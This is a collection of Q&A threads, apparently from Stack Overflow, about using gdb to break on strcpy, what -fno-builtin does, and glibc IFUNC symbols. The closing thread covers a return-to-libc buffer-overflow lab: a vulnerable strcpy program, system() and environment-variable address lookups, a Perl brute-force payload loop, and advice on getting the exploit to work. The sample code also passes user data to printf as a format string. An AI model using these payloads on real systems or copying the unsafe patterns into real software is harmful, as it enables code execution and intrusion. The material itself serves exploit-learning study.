What exactly is -fno-builtin doing here? - c

So I was reading Hacking the Art of Exploitation and in the book, they use the strcpy() function in their C code:
1 #include <stdio.h>
2 #include <string.h>
3
4 int main() {
5 char str_a[20];
6
7 strcpy(str_a, "Hello, world!\n");
8 printf(str_a);
9 }
They then proceed to compile their source code and analyze it with gdb. He sets a breakpoint on line 6, the strcpy function, and line 8, but when setting a break on strcpy it reads the following:
(gdb) break strcpy
Function "strcpy" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
I understand that this is because the library has not yet been loaded, so it's asking if he wants to have it as a pending breakpoint. Then he runs the program and continues through the breakpoints:
Everything works well for him, but when I tried to re-create this on my computer, I get the following:
frinto#kali:~/Documents/theclang/programs/helloworld$ gcc -m32 -g -o char_array char_array.c
frinto#kali:~/Documents/theclang/programs/helloworld$ gdb -q char_array
Reading symbols from char_array...done.
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main() {
5 char str_a[20];
6
7 strcpy(str_a, "Hello, world!\n");
8 printf(str_a);
9 }
(gdb) break 6
Breakpoint 1 at 0x11b6: file char_array.c, line 6.
(gdb) break strcpy
Function "strcpy" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (strcpy) pending.
(gdb) break 8
Breakpoint 3 at 0x11d7: file char_array.c, line 8.
(gdb) run
Starting program: /home/frinto/Documents/theclang/programs/helloworld/char_array
Breakpoint 1, main () at char_array.c:7
7 strcpy(str_a, "Hello, world!\n");
(gdb) cont
Continuing.
Breakpoint 3, main () at char_array.c:8
8 printf(str_a);
(gdb) cont
Continuing.
Hello, world!
[Inferior 1 (process 4021) exited normally]
(gdb)
Notice how it completely skipped the strcpy breakpoint? Well, I asked a friend of mine what was the issue here, and he told me that I was missing the argument -fno-builtin when compiling. I did some minimal google searching on this argument and all I really understood is that it lets you set breakpoints on built-in functions. So I compiled the program with the -fno-builtin argument and then tried to re-create this again:
frinto#kali:~/Documents/theclang/programs/helloworld$ gcc -m32 -fno-builtin -g -o char_array char_array.c
frinto#kali:~/Documents/theclang/programs/helloworld$ gdb -q char_array
Reading symbols from char_array...done.
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main() {
5 char str_a[20];
6
7 strcpy(str_a, "Hello, world!\n");
8 printf(str_a);
9 }
(gdb) break 6
Breakpoint 1 at 0x11c6: file char_array.c, line 6.
(gdb) break strcpy
Breakpoint 2 at 0x1040
(gdb) break 8
Breakpoint 3 at 0x11dc: file char_array.c, line 8.
(gdb) run
Starting program: /home/frinto/Documents/theclang/programs/helloworld/char_array
Breakpoint 1, main () at char_array.c:7
7 strcpy(str_a, "Hello, world!\n");
(gdb) cont
Continuing.
Breakpoint 2, 0xf7e510b0 in ?? () from /lib/i386-linux-gnu/libc.so.6
(gdb) cont
Continuing.
Breakpoint 3, main () at char_array.c:8
8 printf(str_a);
(gdb) cont
Continuing.
Hello, world!
[Inferior 1 (process 3969) exited normally]
(gdb)
Now it works! I have three questions:
What exactly is the -fno-builtin argument doing?
Why does it show question marks instead of the strcpy function in
Breakpoint 2, 0xf7e510b0 in ?? () from /lib/i386-linux-gnu/libc.so.6
Why doesn't it ask to set the strcpy breakpoint as pending when I use the -fno-builtin argument?
Sorry for the long thread, I just wanted to make sure everything was understood.

From man gcc
-fno-builtin
-fno-builtin-function
Don't recognize built-in functions that do not begin with
__builtin_ as prefix. GCC normally generates special code to
handle certain built-in functions more efficiently; for
instance, calls to "alloca" may become single instructions
which adjust the stack directly, and calls to "memcpy" may
become inline copy loops. The resulting code is often both
smaller and faster, but since the function calls no longer
appear as such, you cannot set a breakpoint on those calls, nor
can you change the behavior of the functions by linking with a
different library. In addition, when a function is recognized
as a built-in function, GCC may use information about that
function to warn about problems with calls to that function, or
to generate more efficient code, even if the resulting code
still contains calls to that function. For example, warnings
are given with -Wformat for bad calls to "printf" when "printf"
is built in and "strlen" is known not to modify global memory.
With the -fno-builtin-function option only the built-in
function function is disabled. function must not begin with
__builtin_. If a function is named that is not built-in in
this version of GCC, this option is ignored. There is no
corresponding -fbuiltin-function option; if you wish to enable
built-in functions selectively when using -fno-builtin or
-ffreestanding, you may define macros such as:
#define abs(n) __builtin_abs ((n))
#define strcpy(d, s) __builtin_strcpy ((d), (s))
function builtins allow to generate a faster code by inlining the function, but as stated in the manual
you cannot set a breakpoint on those calls
Inlining a function means that, instead of generating a function call, its effects are replaced by code directly inserted by the compiler. This saves a function call and can be more efficiently optimized and generally leads to a large improvement in performances.
But, the inlined function no longer exists in the code. Debugger breakpoints are implemented by replacing instructions at specific addresses by some software traps or by using specific hardware to recognize when the breakpointed address is reached. But as the function no longer exists, no address is associated with it, and there is no way to breakpoint it.
Pending breakpoints are a mean to set a breakpoint on some code that will be dynamically loaded later by the program. With -fno-builtin, strcpy is directly available and the bp can be directly set by gdb.
Note that debugging requires specific information in the executable generated by the -g flag. Generally system libraries like libc do not have the debugging information embedded and when entering function in these libraries, gdb indicates the lack of debugging information by ??.

What exactly is the -fno-builtin argument doing?
-fno-builtin means that gcc will not try to replace library functions with builtin compiled code, and you'll not get any weirdness due to such replacements. I've been bitten by replacements of printf("%s", mystr) by puts(mystr), for example - even when I wasn't including stdio.h at all!
Why does it show question marks instead of the strcpy function
Because there's no source file or line from which the "code" of strcpy() was taken - gcc just plugged in some assembly or its GIMPLE IR or whatever, instead of the glibc strcpy() implementation.
Why doesn't it ask to set the strcpy breakpoint as pending when I use the -fno-builtin argument?
Because then you're in the regular case of a plain vanilla function call with a breakpoint, and the debugger doesn't have to scratch its head and ponder what to do.

Related

Gdb weird behaviour wrt printf vs strcpy [shared library load] [duplicate]

So I was reading Hacking the Art of Exploitation and in the book, they use the strcpy() function in their C code:
1 #include <stdio.h>
2 #include <string.h>
3
4 int main() {
5 char str_a[20];
6
7 strcpy(str_a, "Hello, world!\n");
8 printf(str_a);
9 }
They then proceed to compile their source code and analyze it with gdb. He sets a breakpoint on line 6, the strcpy function, and line 8, but when setting a break on strcpy it reads the following:
(gdb) break strcpy
Function "strcpy" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
I understand that this is because the library has not yet been loaded, so it's asking if he wants to have it as a pending breakpoint. Then he runs the program and continues through the breakpoints:
Everything works well for him, but when I tried to re-create this on my computer, I get the following:
frinto#kali:~/Documents/theclang/programs/helloworld$ gcc -m32 -g -o char_array char_array.c
frinto#kali:~/Documents/theclang/programs/helloworld$ gdb -q char_array
Reading symbols from char_array...done.
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main() {
5 char str_a[20];
6
7 strcpy(str_a, "Hello, world!\n");
8 printf(str_a);
9 }
(gdb) break 6
Breakpoint 1 at 0x11b6: file char_array.c, line 6.
(gdb) break strcpy
Function "strcpy" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (strcpy) pending.
(gdb) break 8
Breakpoint 3 at 0x11d7: file char_array.c, line 8.
(gdb) run
Starting program: /home/frinto/Documents/theclang/programs/helloworld/char_array
Breakpoint 1, main () at char_array.c:7
7 strcpy(str_a, "Hello, world!\n");
(gdb) cont
Continuing.
Breakpoint 3, main () at char_array.c:8
8 printf(str_a);
(gdb) cont
Continuing.
Hello, world!
[Inferior 1 (process 4021) exited normally]
(gdb)
Notice how it completely skipped the strcpy breakpoint? Well, I asked a friend of mine what was the issue here, and he told me that I was missing the argument -fno-builtin when compiling. I did some minimal google searching on this argument and all I really understood is that it lets you set breakpoints on built-in functions. So I compiled the program with the -fno-builtin argument and then tried to re-create this again:
frinto#kali:~/Documents/theclang/programs/helloworld$ gcc -m32 -fno-builtin -g -o char_array char_array.c
frinto#kali:~/Documents/theclang/programs/helloworld$ gdb -q char_array
Reading symbols from char_array...done.
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main() {
5 char str_a[20];
6
7 strcpy(str_a, "Hello, world!\n");
8 printf(str_a);
9 }
(gdb) break 6
Breakpoint 1 at 0x11c6: file char_array.c, line 6.
(gdb) break strcpy
Breakpoint 2 at 0x1040
(gdb) break 8
Breakpoint 3 at 0x11dc: file char_array.c, line 8.
(gdb) run
Starting program: /home/frinto/Documents/theclang/programs/helloworld/char_array
Breakpoint 1, main () at char_array.c:7
7 strcpy(str_a, "Hello, world!\n");
(gdb) cont
Continuing.
Breakpoint 2, 0xf7e510b0 in ?? () from /lib/i386-linux-gnu/libc.so.6
(gdb) cont
Continuing.
Breakpoint 3, main () at char_array.c:8
8 printf(str_a);
(gdb) cont
Continuing.
Hello, world!
[Inferior 1 (process 3969) exited normally]
(gdb)
Now it works! I have three questions:
What exactly is the -fno-builtin argument doing?
Why does it show question marks instead of the strcpy function in
Breakpoint 2, 0xf7e510b0 in ?? () from /lib/i386-linux-gnu/libc.so.6
Why doesn't it ask to set the strcpy breakpoint as pending when I use the -fno-builtin argument?
Sorry for the long thread, I just wanted to make sure everything was understood.
From man gcc
-fno-builtin
-fno-builtin-function
Don't recognize built-in functions that do not begin with
__builtin_ as prefix. GCC normally generates special code to
handle certain built-in functions more efficiently; for
instance, calls to "alloca" may become single instructions
which adjust the stack directly, and calls to "memcpy" may
become inline copy loops. The resulting code is often both
smaller and faster, but since the function calls no longer
appear as such, you cannot set a breakpoint on those calls, nor
can you change the behavior of the functions by linking with a
different library. In addition, when a function is recognized
as a built-in function, GCC may use information about that
function to warn about problems with calls to that function, or
to generate more efficient code, even if the resulting code
still contains calls to that function. For example, warnings
are given with -Wformat for bad calls to "printf" when "printf"
is built in and "strlen" is known not to modify global memory.
With the -fno-builtin-function option only the built-in
function function is disabled. function must not begin with
__builtin_. If a function is named that is not built-in in
this version of GCC, this option is ignored. There is no
corresponding -fbuiltin-function option; if you wish to enable
built-in functions selectively when using -fno-builtin or
-ffreestanding, you may define macros such as:
#define abs(n) __builtin_abs ((n))
#define strcpy(d, s) __builtin_strcpy ((d), (s))
function builtins allow to generate a faster code by inlining the function, but as stated in the manual
you cannot set a breakpoint on those calls
Inlining a function means that, instead of generating a function call, its effects are replaced by code directly inserted by the compiler. This saves a function call and can be more efficiently optimized and generally leads to a large improvement in performances.
But, the inlined function no longer exists in the code. Debugger breakpoints are implemented by replacing instructions at specific addresses by some software traps or by using specific hardware to recognize when the breakpointed address is reached. But as the function no longer exists, no address is associated with it, and there is no way to breakpoint it.
Pending breakpoints are a mean to set a breakpoint on some code that will be dynamically loaded later by the program. With -fno-builtin, strcpy is directly available and the bp can be directly set by gdb.
Note that debugging requires specific information in the executable generated by the -g flag. Generally system libraries like libc do not have the debugging information embedded and when entering function in these libraries, gdb indicates the lack of debugging information by ??.
What exactly is the -fno-builtin argument doing?
-fno-builtin means that gcc will not try to replace library functions with builtin compiled code, and you'll not get any weirdness due to such replacements. I've been bitten by replacements of printf("%s", mystr) by puts(mystr), for example - even when I wasn't including stdio.h at all!
Why does it show question marks instead of the strcpy function
Because there's no source file or line from which the "code" of strcpy() was taken - gcc just plugged in some assembly or its GIMPLE IR or whatever, instead of the glibc strcpy() implementation.
Why doesn't it ask to set the strcpy breakpoint as pending when I use the -fno-builtin argument?
Because then you're in the regular case of a plain vanilla function call with a breakpoint, and the debugger doesn't have to scratch its head and ponder what to do.

../sysdeps/i386/i686/multiarch/strcpy.c: No such file or directory

I'm trying to debug a program with gdb and when I set a breakpoint and continue on the strcpy() function. I get the following response:
frinto#kali:~/Documents/theclang/programs/helloworld$ gcc -fno-builtin -m32 -g -o char_array char_array.c
frinto#kali:~/Documents/theclang/programs/helloworld$ ls
a.out char_array char_array.c firstprog.c helloworld.c
frinto#kali:~/Documents/theclang/programs/helloworld$ ./char_array
Hello, world!
frinto#kali:~/Documents/theclang/programs/helloworld$ gdb -q char_array
Reading symbols from char_array...done.
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main() {
5 char str_a[20];
6
7 strcpy(str_a, "Hello, world!\n");
8 printf(str_a);
9 }
(gdb) break 6
Breakpoint 1 at 0x11c6: file char_array.c, line 6.
(gdb) break strcpy
Breakpoint 2 at 0x1040
(gdb) break 8
Breakpoint 3 at 0x11dc: file char_array.c, line 8.
(gdb) run
Starting program: /home/frinto/Documents/theclang/programs/helloworld/char_array
Breakpoint 1, main () at char_array.c:7
7 strcpy(str_a, "Hello, world!\n");
(gdb) cont
Continuing.
Breakpoint 2, strcpy_ifunc () at ../sysdeps/i386/i686/multiarch/strcpy.c:29
29 ../sysdeps/i386/i686/multiarch/strcpy.c: No such file or directory.
(gdb)
I'm on Kali 2.0 and I've installed:
libc6-dbg and libc6-dbg:i386
If it isn't obvious already, I want to get rid of this error message:
../sysdeps/i386/i686/multiarch/strcpy.c: No such file or directory
Thanks in advance for any help!
I want to get rid of this error message:
This isn't an error. GDB is telling you that you've stopped in strcpy_ifunc function (see this description of what IFUNCs are), which is defined in ../sysdeps/i386/i686/multiarch/strcpy.c source file, and that GDB doesn't know how to find that file on the filesystem (and thus can't show you the source of strcpy_ifunc).
The best way to fix this is to tell GDB where to find this source. See (gdb) help directory.
Of course for this to work, you actually need the GLIBC sources. I don't know whether Kali packages sources into libc6-dbg:i386 or not, you may have to install a separate glibc-source package.

Trouble debugging functions in linked libraries with gdb

I'm doing a bit of reading about gdb, and I'm having trouble getting gdb (I'm running 7.11.1) to debug a function from a library.
The sample code used to learn about the debugger is quite simple:
#include <stdio.h>
#include <string.h>
int main() {
char str_a[20];
strcpy(str_a, "Hello, world!\n");
printf(str_a);
}
I compiled it with debugging symbols enabled, fired up GDB, and set some breakpoints:
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main() {
5 char str_a[20];
6
7 strcpy(str_a, "Hello, world!\n");
8 printf(str_a);
9 }
(gdb) break 7
Breakpoint 1 at 0x4005ad: file char_array2.c, line 7.
(gdb) break strcpy
Function "strcpy" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (strcpy) pending.
(gdb) break 8
Breakpoint 3 at 0x4005cf: file char_array2.c, line 8.
(gdb) run
Starting program: /home/david/hacking_the_art_of_exploitation/Chapter_2/char_array2
Breakpoint 1, main () at char_array2.c:7
7 strcpy(str_a, "Hello, world!\n");
(gdb) continue
Continuing.
Breakpoint 3, main () at char_array2.c:8
8 printf(str_a);
(gdb) continue
Continuing.
Hello, world!
[Inferior 1 (process 7061) exited normally]
As you can see, the debugger never descends into the strcpy function.
I've tried adding set stop-on-solib-events 1 to my .gdbinit. This leads to different but still undesirable results:
(gdb) run
Starting program: /home/david/hacking_the_art_of_exploitation/Chapter_2/char_array2
Stopped due to shared library event (no libraries added or removed)
I'm at a bit of a loss here. Thanks in advance for any help.
I believe you need the libc-dbg package and the libc source package for debugging a libc function. On Ubuntu you can install it via
sudo apt-get install libc6-dbg
mkdir ~/libc ; cd ~/libc
apt-get source libc6

__strcpy_sse2_unaligned with -fno-builtin

I was debugging my program, then the last line happened, how can I fix it? I used the -fno-builtin to have a look at the strcpy() but it shows that the __strcpy_sse2_unaligned is getting called.
root#19:~/booksrc# gcc -fno-builtin -g char_array2.c
root#19:~/booksrc# gdb -q ./a.out
Reading symbols from ./a.out...done.
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main() {
5 char str_a[20];
6
7 strcpy(str_a, "Hello World!\n");
8 printf(str_a);
9 }
(gdb) break 6
Breakpoint 1 at 0x708: file char_array2.c, line 6.
(gdb) break strcpy
Breakpoint 2 at 0x5a0
(gdb) break 8
Breakpoint 3 at 0x71b: file char_array2.c, line 8.
(gdb) run
Starting program: /root/booksrc/a.out
Breakpoint 1, main () at char_array2.c:7
7 strcpy(str_a, "Hello World!\n");
(gdb) cont
Continuing.
Breakpoint 2, __strcpy_sse2_unaligned ()
at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:47
47 ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S: No such file or directory.
__strcpy_sse2_unaligned is the implementation of strcpy which is used on your machine. glibc automatically chooses an optimized implementation based on CPU characteristics, using an IFUNC resolver.
This does not have to do anything with GCC and GCC built-ins. GCC emits a call to strcpy. It is just that glibc happens to call the function which it __strcpy_sse2_unaligned.

Return into libc - Illegal instruction

I am messing around with buffer overflows, particularly the return into libc kind.
I have the following vulnerable code:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
I compiled it using gcc-2.95 (no -fstack-protector) with the -mpreferred-stack-boundary=2 flag. I followed the return into libc chapter of "Hacking: The Art of Exploitation".
First, I disabled ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
I found out the address of system:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
I created an environment variable to contain the command I want to execute using system:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
And then I made a perl script to automate getting the shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
Where did I go wrong? Why do I get "illegal instruction" instead of my shell?
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
Vary the number of 'A's to test the various failures. In find python -c "print 'A'*73" (73 used to produce the above) to be helpful for generating the arguments.
gdb will tell you exactly where you're crashing and what's at EIP/RIP when you crash. This should guide you to an answer to your question.
Most likely, you're not getting a good pointer in the return address on the stack and execution is landing in memory that doesn't disassemble to valid instructions. I'd think you're close here. The segmentaion faults are more likely to be execution landing in a region of memory that isn't even allocated.
Use (gdb) x/10i $eip to identify what instructions are at EIP when you crash. You can vary the length of the disassembly shown by altering the 10 in that command.
You'll also need to figure out where your argument to system is landing on the stack so that it makes it into the appropriate place in the calling convention to get system to call it. gdb should be able to help you here too (again, use x - x/4w maybe - and i r).
Successful exploitation requires both of the above pieces: the 0xb7eb6680 must be in the return address and the 0xbffff96d must be wherever system is going to read it's first argument from.
Another helpful trick: set a breakpoint on the ret at the end of the strcpy function. This is a handy place to inspect your stack and register state and identify what you're about to do. The ret is where exploitation happens: the return address you supply is read, the processor begins executing at that address and you're off, assuming you can sustain execution with proper arguments to whatever you're calling, etc. The program's state at this ret is the make or break point so it's the easiest place to see what's wrong with your input and why you will or will not successfully exploit the vulnerability.
Forgive me if my gdb syntax isn't bang on... it's not my primary debugger.

Resources